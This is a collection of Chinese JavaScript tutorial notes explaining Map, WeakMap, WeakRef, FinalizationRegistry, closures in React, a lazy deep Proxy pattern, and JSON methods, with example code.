const element = document.getElementById('myDiv');

data[element] = 'metadata';
data['[object HTMLDivElement]'] // "metadata"
```

上面代码原意是将一个 DOM 节点作为对象`data`的键，但是由于对象只接受字符串作为键名，所以`element`被自动转为字符串`[object HTMLDivElement]`。

为了解决这个问题，ES6 提供了 Map 数据结构。它类似于对象，也是键值对的集合，但是“键”的范围不限于字符串，各种类型的值（包括对象）都可以当作键。

也就是说，Object 结构提供了“字符串—值”的对应，Map 结构提供了“值—值”的对应，是一种更完善的 Hash 结构实现。如果你需要“键值对”的数据结构，Map 比 Object 更合适

```javascript
const m = new Map();
const o = {p: 'Hello World'};

m.set(o, 'content')
m.get(o) // "content"

m.has(o) // true
m.delete(o) // true
m.has(o) // false
```

作为构造函数，Map 也可以接受一个数组作为参数。该数组的成员是一个个表示键值对的数组。

```js
const map = new Map([
  ['name', '张三'],
  ['title', 'Author']
]);

map.size // 2
map.has('name') // true
map.get('name') // "张三"
map.has('title') // true
map.get('title') // "Author"
```

`Map`构造函数接受数组作为参数，实际上执行的是下面的算法。

```js
const items = [
  ['name', '张三'],
  ['title', 'Author']
];

const map = new Map();

items.forEach(
  ([key, value]) => map.set(key, value)
);
```

事实上，不仅仅是数组，任何具有 Iterator 接口、且每个成员都是一个双元素的数组的数据结构（详见《Iterator》一章）都可以当作`Map`构造函数的参数。这就是说，`Set`和`Map`都可以用来生成新的 Map。

```js
const set = new Set([
  ['foo', 1],
  ['bar', 2]
]);
const m1 = new Map(set);
m1.get('foo') // 1

const m2 = new Map([['baz', 3]]);
const m3 = new Map(m2);
m3.get('baz') // 3
```

**注意，只有对同一个对象的引用，Map 结构才将其视为同一个键。这一点要非常小心。**

```js
const map = new Map();

map.set(['a'], 555);
map.get(['a']) // undefined
```

上面代码的`set`和`get`方法，表面是针对同一个键，**但实际上这是两个不同的数组实例**，\*\*内存地址是不一样的，\*\*因此`get`方法无法读取该键，返回`undefined`。

同理，同样的值的两个实例，在 Map 结构中被视为两个键。

```js
const map = new Map();

const k1 = ['a'];
const k2 = ['a'];

map
.set(k1, 111)
.set(k2, 222);

map.get(k1) // 111
map.get(k2) // 222
```

**由上可知，Map 的键实际上是跟内存地址绑定的，只要内存地址不一样，就视为两个键。**

这就解决了同名属性碰撞（clash）的问题，我们扩展别人的库的时候，如果使用对象作为键名，就不用担心自己的属性与原作者的属性同名。

如果 Map 的键是一个简单类型的值（数字、字符串、布尔值），则只要两个值严格相等，Map 将其视为一个键，比如`0`和`-0`就是一个键，布尔值`true`和字符串`true`则是两个不同的键。另外，`undefined`和`null`也是两个不同的键。虽然`NaN`不严格相等于自身，但 Map 将其视为同一个键。

**实例属性&方法**：

**（1）size 属性**

`size`属性返回 Map 结构的成员总数。

**（2）Map.prototype.set(key, value)**

`set`方法设置键名`key`对应的键值为`value`，然后返回整个 Map 结构。如果`key`已经有值，则键值会被更新，否则就新生成该键。

`set`方法返回的是当前的`Map`对象，因此可以采用链式写法。

```js
let map = new Map()
  .set(1, 'a')
  .set(2, 'b')
  .set(3, 'c');
```

**（3）Map.prototype.get(key)**

`get`方法读取`key`对应的键值，如果找不到`key`，返回`undefined`。

```js
const m = new Map();

const hello = function() {console.log('hello');};
m.set(hello, 'Hello ES6!') // 键是函数

m.get(hello)  // Hello ES6!
```

**（4）Map.prototype.has(key)**

`has`方法返回一个布尔值，表示某个键是否在当前 Map 对象之中。

**（5）Map.prototype.delete(key)**

`delete()`方法删除某个键，返回`true`。如果删除失败，返回`false`。

**（6）Map.prototype.clear()**

`clear()`方法清除所有成员，没有返回值。

**遍历方法**

Map 结构原生提供三个遍历器生成函数和一个遍历方法。

* `Map.prototype.keys()`：返回键名的遍历器。
* `Map.prototype.values()`：返回键值的遍历器。
* `Map.prototype.entries()`：返回所有成员的遍历器。
* `Map.prototype.forEach()`：遍历 Map 的所有成员。

```js
for (let value of map.values()) {
  console.log(value);
}
// "no"
// "yes"

for (let item of map.entries()) {
  console.log(item[0], item[1]);
}
// "F" "no"
// "T" "yes"

// 或者
for (let [key, value] of map.entries()) {
  console.log(key, value);
}
// "F" "no"
// "T" "yes"

// 等同于使用map.entries()
for (let [key, value] of map) {
  console.log(key, value);
}
// "F" "no"
// "T" "yes"
```

```js
map[Symbol.iterator] === map.entries
// true
```

Map 结构转为数组结构，比较快速的方法是使用扩展运算符（`...`）。

```js
[...map.keys()]
// [1, 2, 3]

[...map.values()]
// ['one', 'two', 'three']
```

结合数组的`map`方法、`filter`方法，可以实现 Map 的遍历和过滤（Map 本身没有`map`和`filter`方法）。

```js
const map0 = new Map()
  .set(1, 'a')
  .set(2, 'b')
  .set(3, 'c');

const map1 = new Map(
  [...map0].filter(([k, v]) => k < 3)
);
// 产生 Map 结构 {1 => 'a', 2 => 'b'}

const map2 = new Map(
  [...map0].map(([k, v]) => [k * 2, '_' + v])
    );
// 产生 Map 结构 {2 => '_a', 4 => '_b', 6 => '_c'}
```

Map 还有一个`forEach`方法，与数组的`forEach`方法类似，也可以实现遍历。

`forEach`方法还可以接受第二个参数，用来绑定`this`。

**与其他数据结构的互相转换** :

**（1）Map 转为数组**

前面已经提过，Map 转为数组最方便的方法，就是使用扩展运算符（`...`）。

**（2）数组 转为 Map**

将数组传入 Map 构造函数，就可以转为 Map。

**（3）Map 转为对象**

如果所有 Map 的键都是字符串，它可以无损地转为对象。

```js
function strMapToObj(strMap) {
  let obj = Object.create(null);
  for (let [k,v] of strMap) {
    obj[k] = v;
  }
  return obj;
}

const myMap = new Map()
  .set('yes', true)
  .set('no', false);
strMapToObj(myMap)
// { yes: true, no: false }
```

如果有非字符串的键名，那么这个键名会被转成字符串，再作为对象的键名。

**（4）对象转为 Map**

对象转为 Map 可以通过`Object.entries()`。

```js
let obj = {"a":1, "b":2};
let map = new Map(Object.entries(obj));
```

**（5）Map 转为 JSON**

Map 转为 JSON 要区分两种情况。一种情况是，Map 的键名都是字符串，这时可以选择转为对象 JSON。

```js
function strMapToJson(strMap) {
  return JSON.stringify(strMapToObj(strMap));
}

let myMap = new Map().set('yes', true).set('no', false);
strMapToJson(myMap)
// '{"yes":true,"no":false}'
```

另一种情况是，Map 的键名有非字符串，这时可以选择转为**数组 JSON。**

```js
function mapToArrayJson(map) {
  return JSON.stringify([...map]);
}

let myMap = new Map().set(true, 7).set({foo: 3}, ['abc']);
mapToArrayJson(myMap)
// '[[true,7],[{"foo":3},["abc"]]]'
```

**（6）JSON 转为 Map**

JSON 转为 Map，正常情况下，所有键名都是字符串。

```js
function jsonToStrMap(jsonStr) {
  return objToStrMap(JSON.parse(jsonStr));
}

jsonToStrMap('{"yes": true, "no": false}')
// Map {'yes' => true, 'no' => false}
```

但是，有一种特殊情况，整个 JSON 就是一个数组，且每个数组成员本身，又是一个有两个成员的数组。这时，它可以一一对应地转为 Map。这往往是 Map 转为数组 JSON 的逆操作。

```js
function jsonToMap(jsonStr) {
  return new Map(JSON.parse(jsonStr));
}

jsonToMap('[[true,7],[{"foo":3},["abc"]]]')
// Map {true => 7, Object {foo: 3} => ['abc']}
```

## WeakMap

`WeakMap`结构与`Map`结构类似，也是用于生成键值对的集合。

`WeakMap`与`Map`的区别有两点。

首先，`WeakMap`只接受对象（`null`除外）和 [Symbol 值](https://github.com/tc39/proposal-symbols-as-weakmap-keys)作为键名，不接受其他类型的值作为键名。

其次，`WeakMap`的键名所指向的对象，不计入垃圾回收机制。

`WeakMap`的设计目的在于，有时我们想在某个对象上面存放一些数据，但是这会形成对于这个对象的引用。请看下面的例子。

```js
const e1 = document.getElementById('foo');
const e2 = document.getElementById('bar');
const arr = [
  [e1, 'foo 元素'],
  [e2, 'bar 元素'],
];
```

上面代码中，`e1`和`e2`是两个对象，我们通过`arr`数组对这两个对象添加一些文字说明。这就形成了`arr`对`e1`和`e2`的引用。

一旦不再需要这两个对象，我们就必须手动删除这个引用，否则垃圾回收机制就不会释放`e1`和`e2`占用的内存。

```js
// 不需要 e1 和 e2 的时候
// 必须手动删除引用
arr [0] = null;
arr [1] = null;
```

上面这样的写法显然很不方便。一旦忘了写，就会造成内存泄露。

WeakMap 就是为了解决这个问题而诞生的，它的键名所引用的对象都是弱引用，即垃圾回收机制不将该引用考虑在内。

因此，只要所引用的对象的其他引用都被清除，垃圾回收机制就会释放该对象所占用的内存。也就是说，一旦不再需要，WeakMap 里面的键名对象和所对应的键值对会自动消失，不用手动删除引用。

基本上，如果你要往对象上添加数据，又不想干扰垃圾回收机制，就可以使用 WeakMap。一个典型应用场景是，在网页的 DOM 元素上添加数据，就可以使用`WeakMap`结构。当该 DOM 元素被清除，其所对应的`WeakMap`记录就会自动被移除。

```js
const wm = new WeakMap();

const element = document.getElementById('example');

wm.set(element, 'some information');
wm.get(element) // "some information"
```

上面代码中，先新建一个 WeakMap 实例。然后，将一个 DOM 节点作为键名存入该实例，并将一些附加信息作为键值，一起存放在 WeakMap 里面。这时，WeakMap 里面对`element`的引用就是弱引用，不会被计入垃圾回收机制。

也就是说，上面的 DOM 节点对象除了 WeakMap 的弱引用外，其他位置对该对象的引用一旦消除，该对象占用的内存就会被垃圾回收机制释放。WeakMap 保存的这个键值对，也会自动消失。

总之，`WeakMap`的专用场合就是，它的键所对应的对象，可能会在将来消失。`WeakMap`结构有助于防止内存泄漏。

注意，WeakMap 弱引用的只是键名，而不是键值。键值依然是正常引用。

```js
const wm = new WeakMap();
let key = {};
let obj = {foo: 1};

wm.set(key, obj);
obj = null;
wm.get(key)
// Object {foo: 1}
```

上面代码中，键值`obj`是正常引用。所以，即使在 WeakMap 外部消除了`obj`的引用，WeakMap 内部的引用依然存在。

**语法**：

WeakMap 与 Map 在 API 上的区别主要是两个，一是没有遍历操作（即没有`keys()`、`values()`和`entries()`方法），也没有`size`属性。

因为没有办法列出所有键名，某个键名是否存在完全不可预测，跟垃圾回收机制是否运行相关。

这一刻可以取到键名，下一刻垃圾回收机制突然运行了，这个键名就没了，为了防止出现不确定性，就统一规定不能取到键名。二是无法清空，即不支持`clear`方法。

因此，`WeakMap`只有四个方法可用：`get()`、`set()`、`has()`、`delete()`。

**示例**：

WeakMap 的例子很难演示，因为无法观察它里面的引用会自动消失。此时，其他引用都解除了，已经没有引用指向 WeakMap 的键名了，导致无法证实那个键名是不是存在。

**用途**：

```js
let myWeakmap = new WeakMap();

myWeakmap.set(
  document.getElementById('logo'),
  {timesClicked: 0})
;

document.getElementById('logo').addEventListener('click', function() {
  let logoData = myWeakmap.get(document.getElementById('logo'));
  logoData.timesClicked++;
}, false);
```

上面代码中，`document.getElementById('logo')`是一个 DOM 节点，每当发生`click`事件，就更新一下状态。我们将这个状态作为键值放在 WeakMap 里，对应的键名就是这个节点对象。**一旦这个 DOM 节点删除，该状态就会自动消失，不存在内存泄漏风险。**

WeakMap 的另一个用处是部署私有属性。

```js
const _counter = new WeakMap();
const _action = new WeakMap();

class Countdown {
  constructor(counter, action) {
    _counter.set(this, counter);
    _action.set(this, action);
  }
  dec() {
    let counter = _counter.get(this);
    if (counter < 1) return;
    counter--;
    _counter.set(this, counter);
    if (counter === 0) {
      _action.get(this)();
    }
  }
}

const c = new Countdown(2, () => console.log('DONE'));

c.dec()
c.dec()
// DONE
```

上面代码中，`Countdown`类的两个内部属性`_counter`和`_action`，是实例的弱引用，所以如果删除实例，它们也就随之消失，不会造成内存泄漏。

## WeakRef

WeakSet 和 WeakMap 是基于弱引用的数据结构，[ES2021](https://github.com/tc39/proposal-weakrefs) 更进一步，提供了 WeakRef 对象，用于直接创建对象的弱引用。

```js
let target = {};
let wr = new WeakRef(target);
```

上面示例中，`target`是原始对象，构造函数`WeakRef()`创建了一个基于`target`的新对象`wr`。这里，`wr`就是一个 WeakRef 的实例，属于对`target`的弱引用，垃圾回收机制不会计入这个引用，也就是说，`wr`的引用不会妨碍原始对象`target`被垃圾回收机制清除。

WeakRef 实例对象有一个`deref()`方法，如果原始对象存在，该方法返回原始对象；如果原始对象已经被垃圾回收机制清除，该方法返回`undefined`。

```js
let target = {};
let wr = new WeakRef(target);

let obj = wr.deref();
if (obj) { // target 未被垃圾回收机制清除
  // ...
}
```

弱引用对象的一大用处，就是作为缓存，未被清除时可以从缓存取值，一旦清除缓存就自动失效。

```js
function makeWeakCached(f) {
  const cache = new Map();
  return key => {
    const ref = cache.get(key);
    if (ref) {
      const cached = ref.deref();
      if (cached !== undefined) return cached;
    }

    const fresh = f(key);
    cache.set(key, new WeakRef(fresh));
    return fresh;
  };
}

const getImageCached = makeWeakCached(getImage);
```

上面示例中，`makeWeakCached()`用于建立一个缓存，缓存里面保存对原始文件的弱引用。

注意，标准规定，一旦使用`WeakRef()`创建了原始对象的弱引用，那么在本轮事件循环（event loop），原始对象肯定不会被清除，只会在后面的事件循环才会被清除。

## FinalizationRegistry

[ES2021](https://github.com/tc39/proposal-weakrefs#finalizers) 引入了清理器注册表功能 FinalizationRegistry，用来指定目标对象被垃圾回收机制清除以后，所要执行的回调函数。

首先，新建一个注册表实例。

```js
const registry = new FinalizationRegistry(heldValue => {
  // ....
});
```

上面代码中，`FinalizationRegistry()`是系统提供的构造函数，返回一个清理器注册表实例，里面登记了所要执行的回调函数。回调函数作为`FinalizationRegistry()`的参数传入，它本身有一个参数`heldValue`。

然后，注册表实例的`register()`方法，用来注册所要观察的目标对象。

```js
registry.register(theObject, "some value");
```

上面示例中，`theObject`就是所要观察的目标对象，一旦该对象被垃圾回收机制清除，注册表就会在清除完成后，调用早前注册的回调函数，并将`some value`作为参数（前面的`heldValue`）传入回调函数。

注意，注册表不对目标对象`theObject`构成强引用，属于弱引用。因为强引用的话，原始对象就不会被垃圾回收机制清除，这就失去使用注册表的意义了。

回调函数的参数`heldValue`可以是任意类型的值，字符串、数值、布尔值、对象，甚至可以是`undefined`。

最后，如果以后还想取消已经注册的回调函数，则要向`register()`传入第三个参数，作为标记值。这个标记值必须是对象，一般都用原始对象。接着，再使用注册表实例对象的`unregister()`方法取消注册。

```js
registry.register(theObject, "some value", theObject);
// ...其他操作...
registry.unregister(theObject);
```

上面代码中，`register()`方法的第三个参数就是标记值`theObject`。取消回调函数时，要使用`unregister()`方法，并将标记值作为该方法的参数。这里`register()`方法对第三个参数的引用，也属于弱引用。如果没有这个参数，则回调函数无法取消。

由于回调函数被调用以后，就不再存在于注册表之中了，所以执行`unregister()`应该是在回调函数还没被调用之前。

下面使用`FinalizationRegistry`，对前一节的缓存函数进行增强。

```js
function makeWeakCached(f) {
  const cache = new Map();
  const cleanup = new FinalizationRegistry(key => {
    const ref = cache.get(key);
    if (ref && !ref.deref()) cache.delete(key);
  });

  return key => {
    const ref = cache.get(key);
    if (ref) {
      const cached = ref.deref();
      if (cached !== undefined) return cached;
    }

    const fresh = f(key);
    cache.set(key, new WeakRef(fresh));
    cleanup.register(fresh, key);
    return fresh;
  };
}

const getImageCached = makeWeakCached(getImage);

```

上面示例与前一节的例子相比，就是增加一个清理器注册表，一旦缓存的原始对象被垃圾回收机制清除，会自动执行一个回调函数。该回调函数会清除缓存里面已经失效的键。

下面是另一个例子。

```js
class Thingy {
  #file;
  #cleanup = file => {
    console.error(
      `The \`release\` method was never called for the \`Thingy\` for the file "${file.name}"`
    );
  };
  #registry = new FinalizationRegistry(this.#cleanup);

  constructor(filename) {
    this.#file = File.open(filename);
    this.#registry.register(this, this.#file, this.#file);
  }

  release() {
    if (this.#file) {
      this.#registry.unregister(this.#file);
      File.close(this.#file);
      this.#file = null;
    }
  }
}
```

上面示例中，如果由于某种原因，`Thingy`类的实例对象没有调用`release()`方法，就被垃圾回收机制清除了，那么清理器就会调用回调函数`#cleanup()`，输出一条错误信息。

由于无法知道清理器何时会执行，所以最好避免使用它。另外，如果浏览器窗口关闭或者进程意外退出，清理器则不会运行。

---

---
url: /js/9fqwqn0w/index.md
---
# 闭包
JavaScript 的\*\*闭包（Closure）\*\*是一个既强大又容易让人迷惑的概念。掌握闭包不仅能帮助你写出更灵活、高效的代码，还能让你更好地理解现代框架（比如 React）背后的工作机制。今天，我们就从理论和实践两方面，结合 React 的实际场景，一步步带你快速精通闭包。

## 什么是闭包？

简单来说，**闭包是函数和声明该函数的词法环境的组合**。

* **词法环境（Lexical Environment）**：指的是函数创建时所处的作用域，包含函数外部的变量和参数。
* **闭包的意义**：函数可以访问定义时的作用域中的变量，即使函数在定义作用域外执行。

举个最简单的例子：

```js
function outer() {
  let count = 0;
  function inner() {
    count++;
    console.log(count);
  }
  return inner;
}

const fn = outer();
fn(); // 输出 1
fn(); // 输出 2
fn(); // 输出 3
```

这里，`inner` 函数形成了一个闭包，保留了对 `outer` 函数中 `count` 变量的引用。即使 `outer` 已经执行完毕，`inner` 仍然可以访问和修改 `count`。

因为`count`有引用所以它不会被 GC 回收，即使`outer`函数执行完毕，`count`也不会被回收，一直存在内存中。

GC 的机制就是：当一个对象没有被引用时，它会在适当的时候会被回收。

## 闭包的实际意义和用途

闭包能带来强大的功能，例如：

* **数据私有化**
  变量不会暴露在全局，避免冲突和污染。
* **函数工厂**
  动态创建带有特定环境的函数。
* **实现模块化**
  利用闭包封装状态和方法。
* **异步编程中的状态保持**
  保证回调函数能访问定义时的环境变量。

## 闭包在 React 中的重要性

React 是基于函数式组件和 Hooks 构建的，闭包是其核心机制之一。

### React 状态与闭包

React 组件中的状态（`useState`）和事件处理函数依赖闭包捕获的状态快照。举个例子：

```jsx
function Counter() {
  const [count, setCount] = React.useState(0);

  function handleClick() {
    setCount(count + 1);
    console.log("事件处理函数里的 count:", count);
  }

  console.log("组件渲染时 count:", count);

  return <button onClick={handleClick}>点我</button>;
}
```

每次渲染，`handleClick` 函数都会捕获当前的 `count` 变量（闭包），即“当前渲染快照”。

事件处理函数内访问到的 `count` 是旧状态，直到下一次渲染才更新。

这就是闭包和 React 渲染机制结合的经典表现。

### 异步操作中的闭包陷阱

```jsx
function AsyncCounter() {
  const [count, setCount] = React.useState(0);

  function handleClick() {
    setTimeout(() => {
      console.log("异步回调里的 count:", count);
    }, 1000);
    setCount(count + 1);
  }

  console.log("组件渲染时 count:", count);

  return <button onClick={handleClick}>点我</button>;
}
```

异步回调函数中的 `count` 变量是定义时的旧值，和当前状态可能不同。

这是闭包导致的状态“快照”问题，需要用函数式更新或者 `useEffect` 解决。

## 闭包的内容泄露

**闭包会让函数持有对外部变量的引用**，即使外部函数已经执行完毕，这些变量也不会被垃圾回收（GC）——因为闭包“拦截”了它们。

如果闭包持有大量数据或者长时间不释放，可能造成内存泄露，尤其在 SPA（单页应用）中长时间运行时更明显。

把闭包里引用的变量设为 `null`，**可以帮助垃圾回收器释放内存**，因为引用断开了。

```js
function example() {
  let bigData = new Array(1000000).fill('x');

  return function() {
    console.log(bigData.length);
    // 用完后可以清空，帮助释放内存
    bigData = null;
  }
}
```

但你必须确保之后闭包不会再访问这个变量，否则会报错。

在 React 组件卸载时如何避免闭包泄露？

**清理副作用**：利用 `useEffect` 的返回函数清除定时器、取消订阅、取消网络请求。

```jsx
useEffect(() => {
  const timer = setTimeout(() => {
    // 一些逻辑
  }, 1000);

  return () => clearTimeout(timer); // 组件卸载时清理
}, []);
```

* **避免在闭包里持有大量数据或 DOM 引用**，改用 refs 或状态。
* **函数式更新**，减少闭包捕获的外部变量数量。

创建闭包时，最后在闭包里添加一个方法，用于手动释放闭包里引用的变量，这样就可以避免闭包的内容泄露。

```js
function outer() {
  let largeArray = new Array(1000000).fill('data');

  function inner() {
    console.log(largeArray.length);
  }

  // 使用完断开引用
  inner.clear = function() {
    largeArray = null;
  }

  return inner;
}

const fn = outer();
fn.clear(); // 手动释放 largeArray 引用
```

## 实战

```jsx
// 经典面试题（问：输出什么）
function testClosure() {
  for (var i = 0; i < 3; i++) {
    setTimeout(() => {
      console.log(i);
    }, 100);
  }
}

testClosure(); // 打印三次 3

// 解决方案：用 let 创建块级作用域变量
function testClosureFixed() {
  for (let i = 0; i < 3; i++) {
    setTimeout(() => {
      console.log(i);
    }, 100);
  }
}

testClosureFixed(); // 依次打印 0,1,2
```

## 总结

* 闭包是 JavaScript 中函数访问其外部作用域变量的一种机制。
* 理解闭包可以帮你写出更安全、优雅的代码。
* 在 React 中，闭包和状态管理、事件处理息息相关，理解它能帮助你避免状态“过期”等常见问题。
* 多练习结合实战是掌握闭包的关键。

---

---
url: /js/9nrldj3c/index.md
---
# 动态深层代理
普通 Proxy 对嵌套对象的拦截 “天生失效”，而 “懒代理（动态深层代理）” 正是解决这个问题的关键方案，本质就是 “访问到嵌套子对象时，才为其创建代理”。

### 普通 Proxy 拦截不到嵌套对象

Proxy 的工作机制是 “代理目标对象本身”，而不是递归代理其属性值。对于嵌套对象，它的属性值是 “另一个对象的引用”，普通 Proxy 只会拦截 “获取这个引用” 的操作（比如 `obj.nested`），但不会拦截 “通过这个引用访问子属性” 的操作（比如 `obj.nested.key`）。

```js
// const target = {
//   name: "顶层属性",
//   nested: {  // 嵌套对象
//     age: 18
//   }
// };

// 本质上等价于：
const nested = {
  age: 18
};

const target = {
  name: "顶层属性",
  nested // 属性简写写法，等价于 nested: nested
};

// 普通 Proxy：只代理 target 本身
const proxy = new Proxy(target, {
  get(target, key) {
    console.log(`拦截到：访问顶层属性 ${key}`);
    return target[key]; // 直接返回嵌套对象的引用，没有对其代理
  },
  set(target, key, value) {
    console.log(`拦截到：修改顶层属性 ${key} = ${value}`);
    target[key] = value;
    return true;
  }
});

// 测试：
proxy.name; // 触发拦截 → 正确
proxy.nested; // 触发拦截（获取 nested 引用）→ 正确
proxy.nested.age; // 不触发拦截！→ 因为访问的是“nested 引用指向的对象”的 age 属性
proxy.nested.age = 20; // 不触发拦截！→ 同理
```

嵌套对象的 `age` 属性读写完全没被拦截，这就是普通 Proxy 的 “局限性”。

### 懒代理（动态深层代理）

“懒代理” 的核心思想是**延迟代理**：不为嵌套对象提前创建代理（避免浪费性能），而是在 “首次访问该嵌套对象” 时，动态为其创建 Proxy 并替换原引用，后续对子对象的所有操作，就都能被新 Proxy 拦截了。

**关键步骤拆解**：

1. 代理顶层对象时，在 `get` 拦截器中判断：如果访问的属性值是 “对象 / 数组”（且未被代理过），就为其创建子代理；
2. 将子代理对象替换原属性值（比如 `target.nested = 子代理`），确保后续再访问 `obj.nested` 时，拿到的是代理后的对象；
3. 子代理的拦截逻辑可以和顶层代理一致（也可自定义），形成 “递归代理” 效果，但触发时机是 “访问时”（懒加载）。

### 实现一个简单的懒代理

改造普通 Proxy，实现懒代理：

```js
// 工具函数：判断是否为需要代理的对象（排除 null、基础类型）
function isObject(value) {
  return typeof value === "object" && value !== null;
}

// 懒代理工厂函数：递归创建动态深层代理
function createLazyDeepProxy(target, handler = {}) {
  // 存储“已代理的子对象”（避免重复代理同一对象）
  const proxyCache = new WeakMap();

  // 核心：创建代理的函数（可递归调用）
  function createProxy(target) {
    // 如果已经代理过，直接返回缓存的代理对象
    if (proxyCache.has(target)) {
      return proxyCache.get(target);
    }

    // 自定义默认拦截器（可被外部 handler 覆盖）
    const defaultHandler = {
      get(target, key) {
        const value = Reflect.get(target, key); // 用 Reflect 确保行为和原生一致
        console.log(`拦截到：访问 ${key}（${isObject(value) ? "嵌套对象" : "普通属性"}）`);
        
        // 关键：如果访问的是对象/数组，且未代理过，动态创建子代理
        if (isObject(value)) {
          const subProxy = createProxy(value);
          // 替换原属性值为子代理（下次访问直接拿到代理，无需重复创建）
          Reflect.set(target, key, subProxy);
          return subProxy;
        }

        return value;
      },
      set(target, key, value) {
        console.log(`拦截到：修改 ${key} = ${value}`);
        // 如果新值是对象，先为其创建代理再赋值
        if (isObject(value)) {
          value = createProxy(value);
        }
        return Reflect.set(target, key, value);
      }
    };

    // 合并外部传入的 handler 和默认 handler（外部优先级更高）
    const proxyHandler = { ...defaultHandler, ...handler };
    const proxy = new Proxy(target, proxyHandler);

    // 缓存代理对象，避免重复代理
    proxyCache.set(target, proxy);
    return proxy;
  }

  return createProxy(target);
}
```

**测试懒代理效果**：

```js
const target = {
  name: "顶层属性",
  nested: { age: 18 }, // 嵌套对象
  list: [1, 2, 3] // 嵌套数组（也能被代理）
};

const lazyProxy = createLazyDeepProxy(target);

// 测试访问：
lazyProxy.name; // 拦截到：访问 name（普通属性）→ 顶层属性
lazyProxy.nested; // 拦截到：访问 nested（嵌套对象）→ 动态创建子代理
lazyProxy.nested.age; // 拦截到：访问 age（普通属性）→ 子代理生效
lazyProxy.list[0]; // 拦截到：访问 0（普通属性）→ 数组元素也能拦截

// 测试修改：
lazyProxy.nested.age = 20; // 拦截到：修改 age = 20 → 子代理拦截
lazyProxy.list.push(4); // 拦截到：访问 push（嵌套对象）→ 数组的方法也能拦截
```

### 懒代理的核心特点

**懒加载**：嵌套对象只有在 “首次被访问” 时才会创建代理，而不是初始化时就递归代理所有层级，避免了对大型嵌套对象的性能浪费（比如嵌套 10 层，但只访问前 3 层，后 7 层不会被代理）。

**动态代理**：访问子对象时才 “动态生成代理”，并替换原引用，后续所有操作都基于代理对象。

**递归生效**：不仅支持对象嵌套，还支持数组、甚至对象里嵌套数组的复杂结构（上面的示例已验证）。

**缓存避免重复代理**：用 `WeakMap` 缓存已代理的对象，防止同一对象被多次代理（比如 `obj.a = obj.b` 这种循

### 补充

**预代理**：初始化时就递归遍历所有嵌套层级，为每个对象都创建代理，优点是简单，缺点是性能差（大型对象初始化慢）、浪费内存（未访问的子对象也被代理）。

**懒代理**：访问时才代理，优点是性能优（按需代理）、内存占用低，缺点是需要处理 “代理缓存” 和 “引用替换”，实现稍复杂。

---

---
url: /js/btymcmg0/index.md
---
# JSON
json格式是一种数据交换的文本格式，目的就是取代繁琐笨重的XML格式。

每个json对象的就是一个值，可能是一个数组或者对象，也可能是一个原始类型的值。总是，**只能是一个值，不能是两个值。**

### 类型和格式

json对类型和格式有严格要求：

复合类型的值**只能是数组或者对象**，不能是函数，正则表达式对象，日期对象

原始类型的值只有四种：字符串，数值（十进制），布尔值和`null`，不能使用`NaN`, `Infinity`, `-Infinity`和`undefined`

字符串必须使用双引号表示，不能使用单引号。

对象的键名必须放在**双引号**里面

数组或对象最后一个成员的后面，不能加逗号。

### JSON 对象

`JSON`对象是 JavaScript 的原生对象，用来处理 JSON 格式数据。它有两个静态方法：`JSON.stringify()`和`JSON.parse()`。

### JSON.stringify()

#### 基本用法

`JSON.stringify()`方法用于将一个值转为 JSON 字符串。该字符串符合 JSON 格式，并且可以被`JSON.parse()`方法还原。

**注意**，对于原始类型的字符串，转换结果会带双引号。

如果对象的属性是`undefined`、函数或 XML 对象，该属性会被`JSON.stringify()`过滤。

```js
var obj = {
  a: undefined,
  b: function () {}
};

JSON.stringify(obj) // "{}"
```

如果数组的成员是`undefined`、函数或 XML 对象，则这些值被转成`null`。

正则对象会被转成空对象。

`JSON.stringify()`方法会忽略对象的**不可遍历的属性**。

#### 第二个参数

`JSON.stringify()`方法还可以接受一个数组，作为第二个参数，指定参数对象的哪些属性需要转成字符串。

```js
var obj = {
  'prop1': 'value1',
  'prop2': 'value2',
  'prop3': 'value3'
};

var selectedProperties = ['prop1', 'prop2'];

JSON.stringify(obj, selectedProperties)
// "{"prop1":"value1","prop2":"value2"}"
```

这个类似**白名单**的数组，**只对对象的属性有效，对数组无效**。

第二个参数还可以是一个函数，用来更改`JSON.stringify()`的返回值。

```js
function f(key, value) {
  if (typeof value === "number") {
    value = 2 * value;
  }
  return value;
}

JSON.stringify({ a: 1, b: 2 }, f)
// '{"a": 2,"b": 4}'
```

上面代码中的`f`函数，接受两个参数，分别是被转换的对象的键名和键值。如果键值是数值，就将它乘以`2`，否则就原样返回。

**注意**，这个处理函数是递归处理所有的键。

#### 第三个参数

`JSON.stringify()`还可以接受第三个参数，用于增加返回的 JSON 字符串的可读性。

默认返回的是单行字符串，对于大型的 JSON 对象，可读性非常差。第三个参数使得每个属性单独占据一行，并且将每个属性前面添加指定的前缀（不超过10个字符）。

```js
// 默认输出
JSON.stringify({ p1: 1, p2: 2 })
// JSON.stringify({ p1: 1, p2: 2 })

// 分行输出
JSON.stringify({ p1: 1, p2: 2 }, null, '\t')
// {
// 	"p1": 1,
// 	"p2": 2
// }
```

上面例子中，第三个属性`\t`在每个属性前面添加一个制表符，然后分行显示。

第三个属性如果是一个数字，则表示每个属性前面添加的空格（最多不超过10个）。

```js
JSON.stringify({ p1: 1, p2: 2 }, null, 2);
/*
"{
  "p1": 1,
  "p2": 2
}"
*/
```

### toJSON()

如果参数对象有自定义的`toJSON()`方法，那么`JSON.stringify()`会使用这个方法的返回值作为参数，而忽略原对象的其他属性。

::: code-group

```js [有toJSON]
var user = {
  firstName: '三',
  lastName: '张',

  get fullName(){
    return this.lastName + this.firstName;
  }
};

JSON.stringify(user)
// "{"firstName":"三","lastName":"张","fullName":"张三"}"
```

```js [无toJSON]
var user = {
  firstName: '三',
  lastName: '张',

  get fullName(){
    return this.lastName + this.firstName;
  },

  toJSON: function () {
    return {
      name: this.lastName + this.firstName
    };
  }
};

JSON.stringify(user)
// "{"name":"张三"}"
```

:::

`Date`对象就有一个自己的`toJSON()`方法。

```js
var date = new Date('2015-01-01');
date.toJSON() // "2015-01-01T00:00:00.000Z"
JSON.stringify(date) // ""2015-01-01T00:00:00.000Z""
```

`toJSON()`方法的一个应用是，将正则对象自动转为字符串。因为`JSON.stringify()`默认不能转换正则对象，但是设置了`toJSON()`方法以后，就可以转换正则对象了。

```js
var obj = {
  reg: /foo/
};

// 不设置 toJSON 方法时
JSON.stringify(obj) // "{"reg":{}}"

// 设置 toJSON 方法时
RegExp.prototype.toJSON = RegExp.prototype.toString;
JSON.stringify(/foo/) // ""/foo/""
```

### JSON.parse()

`JSON.parse()`方法用于将 JSON 字符串转换成对应的值。

```js
var o = JSON.parse('{"name": "张三"}');
o.name // 张三
```

如果传入的字符串不是有效的 JSON 格式，`JSON.parse()`方法将报错。

